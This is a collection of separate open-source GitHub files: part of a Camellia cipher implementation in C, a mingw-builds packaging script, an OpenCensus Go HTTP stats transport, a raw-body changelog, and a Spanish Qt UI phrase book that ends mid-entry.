232, 139, 2, 235, 10, 44, 29, 176, 111, 141, 136, 14, 25, 135, 78, 11, 169, 12, 121, 17, 127, 34, 231, 89, 225, 218, 61, 200, 18, 4, 116, 84, 48, 126, 180, 40, 85, 104, 80, 190, 208, 196, 49, 203, 42, 173, 15, 202, 112, 255, 50, 105, 8, 98, 0, 36, 209, 251, 186, 237, 69, 129, 115, 109, 132, 159, 238, 74, 195, 46, 193, 1, 230, 37, 72, 153, 185, 179, 123, 249, 206, 191, 223, 113, 41, 205, 108, 19, 100, 155, 99, 157, 192, 75, 183, 165, 137, 95, 177, 23, 244, 188, 211, 70, 207, 55, 94, 71, 148, 250, 252, 91, 151, 254, 90, 172, 60, 76, 3, 53, 243, 35, 184, 93, 106, 146, 213, 33, 68, 81, 198, 125, 57, 131, 220, 170, 124, 119, 86, 5, 27, 164, 21, 52, 30, 28, 248, 82, 32, 20, 233, 189, 221, 228, 161, 224, 138, 241, 214, 122, 187, 227, 64, 79 }; static const uint8_t SBOX4[256] = { 112, 44, 179, 192, 228, 87, 234, 174, 35, 107, 69, 165, 237, 79, 29, 146, 134, 175, 124, 31, 62, 220, 94, 11, 166, 57, 213, 93, 217, 90, 81, 108, 139, 154, 251, 176, 116, 43, 240, 132, 223, 203, 52, 118, 109, 169, 209, 4, 20, 58, 222, 17, 50, 156, 83, 242, 254, 207, 195, 122, 36, 232, 96, 105, 170, 160, 161, 98, 84, 30, 224, 100, 16, 0, 163, 117, 138, 230, 9, 221, 135, 131, 205, 144, 115, 246, 157, 191, 82, 216, 200, 198, 129, 111, 19, 99, 233, 167, 159, 188, 41, 249, 47, 180, 120, 6, 231, 113, 212, 171, 136, 141, 114, 185, 248, 172, 54, 42, 60, 241, 64, 211, 187, 67, 21, 173, 119, 128, 130, 236, 39, 229, 133, 53, 12, 65, 239, 147, 25, 33, 14, 78, 101, 189, 184, 143, 235, 206, 48, 95, 197, 26, 225, 202, 71, 61, 1, 214, 86, 77, 13, 102, 204, 45, 18, 32, 177, 153, 76, 194, 126, 5, 183, 49, 23, 215, 88, 97, 27, 28, 15, 22, 24, 34, 68, 178, 181, 145, 8, 168, 252, 80, 208, 125, 137, 151, 91, 149, 255, 210, 196, 72, 247, 219, 3, 218, 63, 148, 92, 2, 74, 51, 103, 243, 127, 226, 155, 38, 55, 59, 150, 75, 190, 46, 121, 140, 110, 142, 245, 182, 253, 89, 152, 106, 70, 186, 37, 66, 162, 250, 7, 85, 238, 10, 73, 104, 56, 164, 40, 123, 201, 193, 227, 244, 199, 158 }; const int av_camellia_size = sizeof(AVCAMELLIA); static void LR128(uint64_t d[2], const uint64_t K[2], int x) { int i = 0; if (64 <= x && x < 128) { i = 1; x -= 64; } if (x <= 0 || x >= 128) { d[0] = K[i]; d[1] = K[!i]; return; } d[0] = (K[i] << x | K[!i] >> (64 - x)); d[1] = (K[!i] << x | K[i] >> (64 - x)); } static uint64_t F(uint64_t F_IN, uint64_t KE) { KE ^= F_IN; F_IN=SP[0][KE >> 56]^SP[1][(KE >> 48) & MASK8]^SP[2][(KE >> 40) & MASK8]^SP[3][(KE >> 32) & MASK8]^SP[4][(KE >> 24) & MASK8]^SP[5][(KE >> 16) & MASK8]^SP[6][(KE >> 8) & MASK8]^SP[7][KE & MASK8]; return F_IN; } static uint64_t FL(uint64_t FL_IN, uint64_t KE) { uint32_t x1, x2, k1, k2; x1 = FL_IN >> 32; x2 = FL_IN & MASK32; k1 = KE >> 32; k2 = KE & MASK32; x2 = x2 ^ LR32((x1 & k1), 1); x1 = x1 ^ (x2 | k2); return ((uint64_t)x1 << 32) | (uint64_t)x2; } static uint64_t FLINV(uint64_t FLINV_IN, uint64_t KE) { uint32_t x1, x2, k1, k2; x1 = FLINV_IN >> 32; x2 = FLINV_IN & MASK32; k1 = KE >> 32; k2 = KE & MASK32; x1 = x1 ^ (x2 | k2); x2 = x2 ^ LR32((x1 & k1), 1); return ((uint64_t)x1 << 32) | (uint64_t)x2; } static const uint8_t shifts[2][12] = { {0, 15, 15, 45, 45, 60, 94, 94, 111}, {0, 15, 15, 30, 45, 45, 60, 60, 77, 94, 94, 111} }; static const uint8_t vars[2][12] = { {2, 0, 2, 0, 2, 2, 0, 2, 0}, {3, 1, 2, 3, 0, 2, 1, 3, 0, 1, 2, 0} }; static void generate_round_keys(AVCAMELLIA *cs, uint64_t Kl[2], uint64_t Kr[2], uint64_t Ka[2], uint64_t Kb[2]) { int i; uint64_t *Kd[4], d[2]; Kd[0] = Kl; Kd[1] = Kr; Kd[2] = Ka; Kd[3] = Kb; cs->Kw[0] = Kl[0]; cs->Kw[1] = Kl[1]; if (cs->key_bits == 128) { for (i = 0; i < 9; i++) { LR128(d, Kd[vars[0][i]], shifts[0][i]); cs->K[2*i] = d[0]; cs->K[2*i+1] = d[1]; } LR128(d, Kd[0], 60); cs->K[9] = d[1]; LR128(d, Kd[2], 30); cs->Ke[0] = d[0]; cs->Ke[1] = d[1]; LR128(d, Kd[0], 77); cs->Ke[2] = d[0]; cs->Ke[3] = d[1]; LR128(d, Kd[2], 111); cs->Kw[2] = d[0]; cs->Kw[3] = d[1]; } else { for (i = 0; i < 12; i++) { LR128(d, Kd[vars[1][i]], shifts[1][i]); cs->K[2*i] = d[0]; cs->K[2*i+1] = d[1]; } LR128(d, Kd[1], 30); cs->Ke[0] = d[0]; cs->Ke[1] = d[1]; LR128(d, Kd[0], 60); cs->Ke[2] = d[0]; cs->Ke[3] = d[1]; LR128(d, Kd[2], 77); cs->Ke[4] = d[0]; cs->Ke[5] = d[1]; LR128(d, Kd[3], 111); cs->Kw[2] = d[0]; cs->Kw[3] = d[1]; } } static void camellia_encrypt(AVCAMELLIA *cs, uint8_t *dst, const uint8_t *src) { uint64_t D1, D2; D1 = AV_RB64(src); D2 = AV_RB64(src + 8); D1 ^= cs->Kw[0]; D2 ^= cs->Kw[1]; D2 ^= F(D1, cs->K[0]); D1 ^= F(D2, cs->K[1]); D2 ^= F(D1, cs->K[2]); D1 ^= F(D2, cs->K[3]); D2 ^= F(D1, cs->K[4]); D1 ^= F(D2, cs->K[5]); D1 = FL(D1, cs->Ke[0]); D2 = FLINV(D2, cs->Ke[1]); D2 ^= F(D1, cs->K[6]); D1 ^= F(D2, cs->K[7]); D2 ^= F(D1, cs->K[8]); D1 ^= F(D2, cs->K[9]); D2 ^= F(D1, cs->K[10]); D1 ^= F(D2, cs->K[11]); D1 = FL(D1, cs->Ke[2]); D2 = FLINV(D2, cs->Ke[3]); D2 ^= F(D1, cs->K[12]); D1 ^= F(D2, cs->K[13]); D2 ^= F(D1, cs->K[14]); D1 ^= F(D2, cs->K[15]); D2 ^= F(D1, cs->K[16]); D1 ^= F(D2, cs->K[17]); if (cs->key_bits != 128) { D1 = FL(D1, cs->Ke[4]); D2 = FLINV(D2, cs->Ke[5]); D2 ^= F(D1, cs->K[18]); D1 ^= F(D2, cs->K[19]); D2 ^= F(D1, cs->K[20]); D1 ^= F(D2, cs->K[21]); D2 ^= F(D1, cs->K[22]); D1 ^= F(D2, cs->K[23]); } D2 ^= cs->Kw[2]; D1 ^= cs->Kw[3]; AV_WB64(dst, D2); AV_WB64(dst + 8, D1); } static void camellia_decrypt(AVCAMELLIA *cs, uint8_t *dst, const uint8_t *src, uint8_t *iv) { uint64_t D1, D2; D1 = AV_RB64(src); D2 = AV_RB64(src + 8); D1 ^= cs->Kw[2]; D2 ^= cs->Kw[3]; if (cs->key_bits != 128) { D2 ^= F(D1, cs->K[23]); D1 ^= F(D2, cs->K[22]); D2 ^= F(D1, cs->K[21]); D1 ^= F(D2, cs->K[20]); D2 ^= F(D1, cs->K[19]); D1 ^= F(D2, cs->K[18]); D1 = FL(D1, cs->Ke[5]); D2 = FLINV(D2, cs->Ke[4]); } D2 ^= F(D1, cs->K[17]); D1 ^= F(D2, cs->K[16]); D2 ^= F(D1, cs->K[15]); D1 ^= F(D2, cs->K[14]); D2 ^= F(D1, cs->K[13]); D1 ^= F(D2, cs->K[12]); D1 = FL(D1, cs->Ke[3]); D2 = FLINV(D2, cs->Ke[2]); D2 ^= F(D1, cs->K[11]); D1 ^= F(D2, cs->K[10]); D2 ^= F(D1, cs->K[9]); D1 ^= F(D2, cs->K[8]); D2 ^= F(D1, cs->K[7]); D1 ^= F(D2, cs->K[6]); D1 = FL(D1, cs->Ke[1]); D2 = FLINV(D2, cs->Ke[0]); D2 ^= F(D1, cs->K[5]); D1 ^= F(D2, cs->K[4]); D2 ^= F(D1, cs->K[3]); D1 ^= F(D2, cs->K[2]); D2 ^= F(D1, cs->K[1]); D1 ^= F(D2, cs->K[0]); D2 ^= cs->Kw[0]; D1 ^= cs->Kw[1]; if (iv) { D2 ^= AV_RB64(iv); D1 ^= AV_RB64(iv + 8); memcpy(iv, src, 16); } AV_WB64(dst, D2); AV_WB64(dst + 8, D1); } static void computeSP(void) { uint64_t z; int i; for (i = 0; i < 256; i++) { z = SBOX1[i]; SP[0][i] = (z << 56) ^ (z << 48) ^ (z << 40) ^ (z << 24) ^ z; SP[7][i] = (z << 56) ^ (z << 48) ^ (z << 40) ^ (z << 24) ^ (z << 16) ^ (z << 8); z = SBOX2[i]; SP[1][i] = (z << 48) ^ (z << 40) ^ (z << 32) ^ (z << 24) ^ (z << 16); SP[4][i] = (z << 48) ^ (z << 40) ^ (z << 32) ^ (z << 16) ^ (z << 8) ^ z; z = SBOX3[i]; SP[2][i] = (z << 56) ^ (z << 40) ^ (z << 32) ^ (z << 16) ^ (z << 8); SP[5][i] = (z << 56) ^ (z << 40) ^ (z << 32) ^ (z << 24) ^ (z << 8) ^ z; z = SBOX4[i]; SP[3][i] = (z << 56) ^ (z << 48) ^ (z << 32) ^ (z << 8) ^ z; SP[6][i] = (z << 56) ^ (z << 48) ^ (z << 32) ^ (z << 24) ^ (z << 16) ^ z; } } struct AVCAMELLIA *av_camellia_alloc(void) { return av_mallocz(sizeof(struct AVCAMELLIA)); } av_cold int av_camellia_init(AVCAMELLIA *cs, const uint8_t *key, int key_bits) { uint64_t Kl[2], Kr[2], Ka[2], Kb[2]; uint64_t D1, D2; if (key_bits != 128 && key_bits != 192 && key_bits != 256) return AVERROR(EINVAL); memset(Kb, 0, sizeof(Kb)); memset(Kr, 0, sizeof(Kr)); cs->key_bits = key_bits; Kl[0] = AV_RB64(key); Kl[1] = AV_RB64(key + 8); if (key_bits == 192) { Kr[0] = AV_RB64(key + 16); Kr[1] = ~Kr[0]; } else if (key_bits == 256) { Kr[0] = AV_RB64(key + 16); Kr[1] = AV_RB64(key + 24); } computeSP(); D1 = Kl[0] ^ Kr[0]; D2 = Kl[1] ^ Kr[1]; D2 ^= F(D1, Sigma1); D1 ^= F(D2, Sigma2); D1 ^= Kl[0]; D2 ^= Kl[1]; D2 ^= F(D1, Sigma3); D1 ^= F(D2, Sigma4); Ka[0] = D1; Ka[1] = D2; if (key_bits != 128) { D1 = Ka[0] ^ Kr[0]; D2 = Ka[1] ^ Kr[1]; D2 ^= F(D1, Sigma5); D1 ^= F(D2, Sigma6); Kb[0] = D1; Kb[1] = D2; } generate_round_keys(cs, Kl, Kr, Ka, Kb); return 0; } void av_camellia_crypt(AVCAMELLIA *cs, uint8_t *dst, const uint8_t *src, int count, uint8_t *iv, int decrypt) { int i; while (count--) { if (decrypt) { camellia_decrypt(cs, dst, src, iv); } else { if (iv) { for (i = 0; i < 16; i++) dst[i] = src[i] ^ iv[i]; camellia_encrypt(cs, dst, dst); memcpy(iv, dst, 16); } else { camellia_encrypt(cs, dst, src); } } src = src + 16; dst = dst + 16; } }
{ "pile_set_name": "Github" }
# # The BSD 3-Clause License. http://www.opensource.org/licenses/BSD-3-Clause # # This file is part of MinGW-W64(mingw-builds: https://github.com/niXman/mingw-builds) project. # Copyright (c) 2011-2020 by niXman (i dotty nixman doggy gmail dotty com) # Copyright (c) 2012-2015 by Alexpux (alexpux doggy gmail dotty com) # All rights reserved. # # Project: MinGW-W64 ( http://sourceforge.net/projects/mingw-w64/ ) # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # - Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # - Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in # the documentation and/or other materials provided with the distribution. # - Neither the name of the 'MinGW-W64' nor the names of its contributors may # be used to endorse or promote products derived from this software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. # IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS # OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE # USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # ************************************************************************** PKG_NAME=binutils-post PKG_DIR_NAME=binutils-post PKG_PRIORITY=main [[ $USE_MULTILIB == yes ]] && { BINUTILSPREFIX=$PREREQ_DIR/$BUILD_ARCHITECTURE-binutils-multi } || { BINUTILSPREFIX=$PREREQ_DIR/$BUILD_ARCHITECTURE-binutils-nomulti } PKG_MAKE_PROG=cp PKG_INSTALL_FLAGS=( "-rfv" "$BINUTILSPREFIX/*" "$PREFIX" ) # **************************************************************************
{ "pile_set_name": "Github" }
// Copyright 2018, OpenCensus Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package ochttp import ( "context" "io" "net/http" "strconv" "sync" "time" "go.opencensus.io/stats" "go.opencensus.io/tag" ) // statsTransport is an http.RoundTripper that collects stats for the outgoing requests. type statsTransport struct { base http.RoundTripper } // RoundTrip implements http.RoundTripper, delegating to Base and recording stats for the request. func (t statsTransport) RoundTrip(req *http.Request) (*http.Response, error) { ctx, _ := tag.New(req.Context(), tag.Upsert(KeyClientHost, req.Host), tag.Upsert(Host, req.Host), tag.Upsert(KeyClientPath, req.URL.Path), tag.Upsert(Path, req.URL.Path), tag.Upsert(KeyClientMethod, req.Method), tag.Upsert(Method, req.Method)) req = req.WithContext(ctx) track := &tracker{ start: time.Now(), ctx: ctx, } if req.Body == nil { // TODO: Handle cases where ContentLength is not set. track.reqSize = -1 } else if req.ContentLength > 0 { track.reqSize = req.ContentLength } stats.Record(ctx, ClientRequestCount.M(1)) // Perform request. resp, err := t.base.RoundTrip(req) if err != nil { track.statusCode = http.StatusInternalServerError track.end() } else { track.statusCode = resp.StatusCode if req.Method != "HEAD" { track.respContentLength = resp.ContentLength } if resp.Body == nil { track.end() } else { track.body = resp.Body resp.Body = wrappedBody(track, resp.Body) } } return resp, err } // CancelRequest cancels an in-flight request by closing its connection. func (t statsTransport) CancelRequest(req *http.Request) { type canceler interface { CancelRequest(*http.Request) } if cr, ok := t.base.(canceler); ok { cr.CancelRequest(req) } } type tracker struct { ctx context.Context respSize int64 respContentLength int64 reqSize int64 start time.Time body io.ReadCloser statusCode int endOnce sync.Once } var _ io.ReadCloser = (*tracker)(nil) func (t *tracker) end() { t.endOnce.Do(func() { latencyMs := float64(time.Since(t.start)) / float64(time.Millisecond) respSize := t.respSize if t.respSize == 0 && t.respContentLength > 0 { respSize = t.respContentLength } m := []stats.Measurement{ ClientSentBytes.M(t.reqSize), ClientReceivedBytes.M(respSize), ClientRoundtripLatency.M(latencyMs), ClientLatency.M(latencyMs), ClientResponseBytes.M(t.respSize), } if t.reqSize >= 0 { m = append(m, ClientRequestBytes.M(t.reqSize)) } stats.RecordWithTags(t.ctx, []tag.Mutator{ tag.Upsert(StatusCode, strconv.Itoa(t.statusCode)), tag.Upsert(KeyClientStatus, strconv.Itoa(t.statusCode)), }, m...) }) } func (t *tracker) Read(b []byte) (int, error) { n, err := t.body.Read(b) t.respSize += int64(n) switch err { case nil: return n, nil case io.EOF: t.end() } return n, err } func (t *tracker) Close() error { // Invoking endSpan on Close will help catch the cases // in which a read returned a non-nil error, we set the // span status but didn't end the span. t.end() return t.body.Close() }
{ "pile_set_name": "Github" }
2.4.0 / 2019-04-17 ================== * deps: [email protected] - Add petabyte (`pb`) support * deps: [email protected] - Set constructor name when possible - deps: [email protected] - deps: statuses@'>= 1.5.0 < 2' * deps: [email protected] - Added encoding MIK 2.3.3 / 2018-05-08 ================== * deps: [email protected] - deps: depd@~1.1.2 - deps: [email protected] - deps: statuses@'>= 1.3.1 < 2' * deps: [email protected] - Fix loading encoding with year appended - Fix deprecation warnings on Node.js 10+ 2.3.2 / 2017-09-09 ================== * deps: [email protected] - Fix ISO-8859-1 regression - Update Windows-1255 2.3.1 / 2017-09-07 ================== * deps: [email protected] * deps: [email protected] - deps: [email protected] * perf: skip buffer decoding on overage chunk 2.3.0 / 2017-08-04 ================== * Add TypeScript definitions * Use `http-errors` for standard emitted errors * deps: [email protected] * deps: [email protected] - Add support for React Native - Add a warning if not loaded as utf-8 - Fix CESU-8 decoding in Node.js 8 - Improve speed of ISO-8859-1 encoding 2.2.0 / 2017-01-02 ================== * deps: [email protected] - Added encoding MS-31J - Added encoding MS-932 - Added encoding MS-936 - Added encoding MS-949 - Added encoding MS-950 - Fix GBK/GB18030 handling of Euro character 2.1.7 / 2016-06-19 ================== * deps: [email protected] * perf: remove double-cleanup on happy path 2.1.6 / 2016-03-07 ================== * deps: [email protected] - Drop partial bytes on all parsed units - Fix parsing byte string that looks like hex 2.1.5 / 2015-11-30 ================== * deps: [email protected] * deps: [email protected] 2.1.4 / 2015-09-27 ================== * Fix masking critical errors from `iconv-lite` * deps: [email protected] - Fix CESU-8 decoding in Node.js 4.x 2.1.3 / 2015-09-12 ================== * Fix sync callback when attaching data listener causes sync read - Node.js 0.10 compatibility issue 2.1.2 / 2015-07-05 ================== * Fix error stack traces to skip `makeError` * deps: [email protected] - Add encoding CESU-8 2.1.1 / 2015-06-14 ================== * Use `unpipe` module for unpiping requests 2.1.0 / 2015-05-28 ================== * deps: [email protected] - Improved UTF-16 endianness detection - Leading BOM is now removed when decoding - The encoding UTF-16 without BOM now defaults to UTF-16LE when detection fails 2.0.2 / 2015-05-21 ================== * deps: [email protected] - Slight optimizations 2.0.1 / 2015-05-10 ================== * Fix a false-positive when unpiping in Node.js 0.8 2.0.0 / 2015-05-08 ================== * Return a promise without callback instead of thunk * deps: [email protected] - units no longer case sensitive when parsing 1.3.4 / 2015-04-15 ================== * Fix hanging callback if request aborts during read * deps: [email protected] - Add encoding alias UNICODE-1-1-UTF-7 1.3.3 / 2015-02-08 ================== * deps: [email protected] - Gracefully support enumerables on `Object.prototype` 1.3.2 / 2015-01-20 ================== * deps: [email protected] - Fix rare aliases of single-byte encodings 1.3.1 / 2014-11-21 ================== * deps: [email protected] - Fix Windows-31J and X-SJIS encoding support 1.3.0 / 2014-07-20 ================== * Fully unpipe the stream on error - Fixes `Cannot switch to old mode now` error on Node.js 0.10+ 1.2.3 / 2014-07-20 ================== * deps: [email protected] - Added encoding UTF-7 1.2.2 / 2014-06-19 ================== * Send invalid encoding error to callback 1.2.1 / 2014-06-15 ================== * deps: [email protected] - Added encodings UTF-16BE and UTF-16 with BOM 1.2.0 / 2014-06-13 ================== * Passing string as `options` interpreted as encoding * Support all encodings from `iconv-lite` 1.1.7 / 2014-06-12 ================== * use `string_decoder` module from npm 1.1.6 / 2014-05-27 ================== * check encoding for old streams1 * support node.js < 0.10.6 1.1.5 / 2014-05-14 ================== * bump bytes 1.1.4 / 2014-04-19 ================== * allow true as an option * bump bytes 1.1.3 / 2014-03-02 ================== * fix case when length=null 1.1.2 / 2013-12-01 ================== * be less strict on state.encoding check 1.1.1 / 2013-11-27 ================== * add engines 1.1.0 / 2013-11-27 ================== * add err.statusCode and err.type * allow for encoding option to be true * pause the stream instead of dumping on error * throw if the stream's encoding is set 1.0.1 / 2013-11-19 ================== * dont support streams1, throw if dev set encoding 1.0.0 / 2013-11-17 ================== * rename `expected` option to `length` 0.2.0 / 2013-11-15 ================== * republish 0.1.1 / 2013-11-15 ================== * use bytes 0.1.0 / 2013-11-11 ================== * generator support 0.0.3 / 2013-10-10 ================== * update repo 0.0.2 / 2013-09-14 ================== * dump stream on bad headers * listen to events after defining received and buffers 0.0.1 / 2013-09-14 ================== * Initial release
{ "pile_set_name": "Github" }
<!DOCTYPE QPH><QPH language="es"> <phrase> <source>About</source> <target>Acerca de</target> </phrase> <phrase> <source>access key</source> <target>tecla de acceso</target> </phrase> <phrase> <source>accessibility</source> <target>accesibilidad</target> </phrase> <phrase> <source>action handle</source> <target>controlador de acciones</target> </phrase> <phrase> <source>active</source> <target>activo</target> </phrase> <phrase> <source>active end</source> <target>fin de la selección activa</target> </phrase> <phrase> <source>active object</source> <target>objeto activo</target> </phrase> <phrase> <source>active window</source> <target>ventana activa</target> </phrase> <phrase> <source>adornment</source> <target>opción gráfica</target> </phrase> <phrase> <source>Always on Top</source> <target>Siempre visible</target> </phrase> <phrase> <source>anchor point</source> <target>inicio de la selección activa</target> </phrase> <phrase> <source>Apply</source> <target>Aplicar</target> </phrase> <phrase> <source>auto-exit</source> <target>salida automática</target> </phrase> <phrase> <source>auto-repeat</source> <target>repetición automática</target> </phrase> <phrase> <source>automatic link</source> <target>vínculo automático</target> </phrase> <phrase> <source>automatic scrolling</source> <target>desplazamiento automático</target> </phrase> <phrase> <source>autoscroll</source> <target>desplazamiento automático</target> </phrase> <phrase> <source>Back</source> <target>Atrás</target> </phrase> <phrase> <source>barrel button</source> <target>botón del lápiz</target> <definition>pen</definition> </phrase> <phrase> <source>barrel-tap</source> <target>puntenar con el botón presionado</target> </phrase> <phrase> <source>boxed edit</source> <target>edición en casilla</target> <definition>control</definition> </phrase> <phrase> <source>Browse</source> <target>Examinar</target> </phrase> <phrase> <source>Cancel</source> <target>Cancelar</target> </phrase> <phrase> <source>cascading menu</source> <target>menú en cascada</target> </phrase> <phrase> <source>check box</source> <target>casilla de verificación</target> </phrase> <phrase> <source>check mark</source> <target>marca de verificación</target> </phrase> <phrase> <source>child window</source> <target>ventana secundaria</target> </phrase> <phrase> <source>choose</source> <target>elegir</target> </phrase> <phrase> <source>click</source> <target>hacer clic</target> </phrase> <phrase> <source>Clipboard</source> <target>Portapapeles</target> </phrase> <phrase> <source>Close</source> <target>Cerrar</target> </phrase> <phrase> <source>Close button</source> <target>botón &amp;quot;Cerrar&amp;quot;</target> </phrase> <phrase> <source>collapse</source> <target>contraer</target> <definition>outline/esquerna</definition> </phrase> <phrase> <source>column heading</source> <target>encabezado de columna</target> <definition>control</definition> </phrase> <phrase> <source>combo box</source> <target>cuadro combinado</target> </phrase> <phrase> <source>command button</source> <target>botón de comando</target> </phrase> <phrase> <source>container</source> <target>contenedor</target> </phrase> <phrase> <source>context-sensitive Help</source> <target>ayuda interactiva</target> </phrase> <phrase> <source>contextual</source> <target>contextual</target> </phrase> <phrase> <source>control</source> <target>control</target> </phrase> <phrase> <source>Copy</source> <target>Copiar</target> </phrase> <phrase> <source>Copy here</source> <target>Copiar aquí</target> </phrase> <phrase> <source>Create Shortcut</source> <target>Crear acceso directo</target> </phrase> <phrase> <source>Create Shortcut Here</source> <target>Crear acceso directo aquí</target> </phrase> <phrase> <source>Cut</source> <target>Cortar</target> </phrase> <phrase> <source>default</source> <target>predeterminado</target> </phrase> <phrase> <source>default button</source> <target>botón predeterminado</target> </phrase> <phrase> <source>Delete</source> <target>Eliminar</target> </phrase> <phrase> <source>desktop</source> <target>escritorio</target> </phrase> <phrase> <source>destination</source> <target>destino</target> </phrase> <phrase> <source>dialog box</source> <target>cuadro de diálogo</target> </phrase> <phrase> <source>disability</source> <target>Discapacidades</target> </phrase> <phrase> <source>disjoint selection</source> <target>selección disjunta</target> </phrase> <phrase> <source>dock</source> <target>acoplar</target> </phrase> <phrase> <source>document</source> <target>documento</target> </phrase> <phrase> <source>double-click</source> <target>hacer doble clic</target> </phrase> <phrase> <source>double-tap</source> <target>puntear dos veces</target> </phrase> <phrase> <source>drag</source> <target>arrastrar</target> </phrase> <phrase> <source>drag-and-drop</source> <target>arrastrar y colocar</target> </phrase> <phrase> <source>drop-down combo box</source> <target>cuadro combinado desplegable</target> </phrase> <phrase> <source>drop-down list box</source> <target>cuadro de lista desplegable</target> </phrase> <phrase> <source>drop-down menu</source> <target>menú desplegable</target> </phrase> <phrase> <source>Edit</source> <target>Edición</target> </phrase> <phrase> <source>Edit menu</source> <target>menú Edición</target> </phrase> <phrase> <source>ellipsis</source> <target>puntos suspensivos</target> </phrase> <phrase> <source>embedded object</source> <target>objeto incrustado</target> </phrase> <phrase> <source>Exit</source> <target>Salir</target> </phrase> <phrase> <source>expand</source> <target>expandir</target> <definition>an outline/un esquema</definition> </phrase> <phrase> <source>Explore</source> <target>Explorar</target> </phrase> <phrase> <source>extended selection</source> <target>selección extendida</target> </phrase> <phrase> <source>extended selection list box</source> <target>cuadro de lista de selección extendida</target> </phrase> <phrase> <source>file</source> <target>archivo</target> </phrase> <phrase> <source>File menu</source> <target>menú Archivo</target> </phrase> <phrase> <source>Find</source> <target>Buscar</target> </phrase> <phrase> <source>Find Next</source> <target>Buscar siguiente</target> </phrase> <phrase> <source>Find What</source> <target>Buscar</target> </phrase> <phrase> <source>folder</source> <target>carpeta</target> </phrase> <phrase> <source>font</source> <target>fuente</target> </phrase> <phrase> <source>font size</source> <target>tamaño de fuente</target> </phrase> <phrase> <source>font style</source> <target>estilo de fuente</target> </phrase> <phrase> <source>function key</source> <target>tecla de función</target> </phrase> <phrase> <source>gesture</source> <target>signo</target> </phrase> <phrase> <source>glyph</source> <target>símbolo gráfico</target> </phrase> <phrase> <source>group box</source> <target>cuadro de grupo</target> </phrase> <phrase> <source>handle</source> <target>controlar</target> <definition>verb</definition> </phrase> <phrase> <source>handle</source> <target>controlador</target> <definition>noun</definition> </phrase> <phrase> <source>Help</source> <target>Ayuda</target> </phrase> <phrase> <source>Help menu</source> <target>menú Ayuda</target> </phrase> <phrase> <source>Hide</source> <target>Ocultar</target> </phrase> <phrase> <source>hierarchical selection</source> <target>selección jerárquica</target> </phrase> <phrase> <source>hold</source> <target>mantener presionado</target> </phrase> <phrase> <source>hot spot</source> <target>punto interactivo</target> </phrase> <phrase> <source>hot zone</source> <target>zona interactiva</target> </phrase> <phrase> <source>icon</source> <target>icono</target> </phrase> <phrase> <source>inactive</source> <target>inactivo</target> </phrase> <phrase> <source>inactive window</source> <target>ventana inactiva</target> </phrase> <phrase> <source>ink</source> <target>trazo</target> </phrase> <phrase> <source>ink edit</source> <target>editor de trazos</target> </phrase> <phrase> <source>input focus</source> <target>zona de entrada</target> </phrase> <phrase> <source>input focus</source> <target>zona de entrada de datos</target> </phrase> <phrase> <source>Insert</source> <target>menú Insertar</target> </phrase> <phrase> <source>Insert Object</source> <target>Insertar objeto</target> </phrase> <phrase> <source>insertion point</source> <target>punto de inserción</target> </phrase> <phrase> <source>italic</source> <target>cursiva</target> </phrase> <phrase> <source>label</source> <target>etiqueta</target> </phrase> <phrase> <source>landscape</source> <target>horizontal</target> </phrase> <phrase> <source>lasso-tap</source> <target>punteo en la selección</target> </phrase> <phrase> <source>lens</source> <target>lente</target> <definition>control</definition> </phrase> <phrase> <source>link</source> <target>vincular</target> <definition>verb</definition> </phrase> <phrase> <source>link</source> <target>vínculo</target> <definition>noun</definition> </phrase> <phrase> <source>Link Here</source> <target>Vincular aquí</target> </phrase> <phrase> <source>list box</source> <target>cuadro de lista</target> </phrase> <phrase> <source>list view</source> <target>ver lista</target> <definition>control</definition> </phrase> <phrase> <source>list view</source> <target>presentación de iconos </target> <definition>control</definition> </phrase> <phrase> <source>manual link</source> <target>vínculo manual</target> </phrase> <phrase> <source>Maximize</source> <target>Maximizar</target> </phrase> <phrase> <source>maximize button</source> <target>botón de maximizar</target> </phrase> <phrase> <source>MDI</source> <target>MDI</target> </phrase> <phrase> <source>menu</source> <target>menú</target> </phrase> <phrase> <source>menu bar</source> <target>barra de menús</target> </phrase> <phrase> <source>menu button</source> <target>botón de menú</target> </phrase> <phrase> <source>menu item</source> <target>elemento de menú</target> </phrase> <phrase> <source>menu title</source> <target>título de menú</target> </phrase> <phrase> <source>message box</source> <target>cuadro de mensaje</target> </phrase> <phrase> <source>Minimize</source> <target>Minimizar</target> </phrase> <phrase> <source>minimize button</source> <target>botón de minimizar</target> </phrase> <phrase> <source>mixed-value</source> <target>valores mezclados</target> </phrase> <phrase> <source>modal</source> <target>modal</target> </phrase> <phrase> <source>mode</source> <target>modo</target> </phrase> <phrase> <source>modeless</source> <target>sin modo</target> </phrase> <phrase> <source>modifier key</source> <target>tecla modificadora</target> </phrase> <phrase> <source>mouse</source> <target>mouse</target> </phrase> <phrase> <source>Move</source> <target>Mover</target> </phrase> <phrase> <source>Move Here</source> <target>Mover aquí</target> </phrase> <phrase> <source>Multiple Document Interface</source> <target>interfaz de documentos múltiples</target> </phrase> <phrase> <source>multiple selection list box</source> 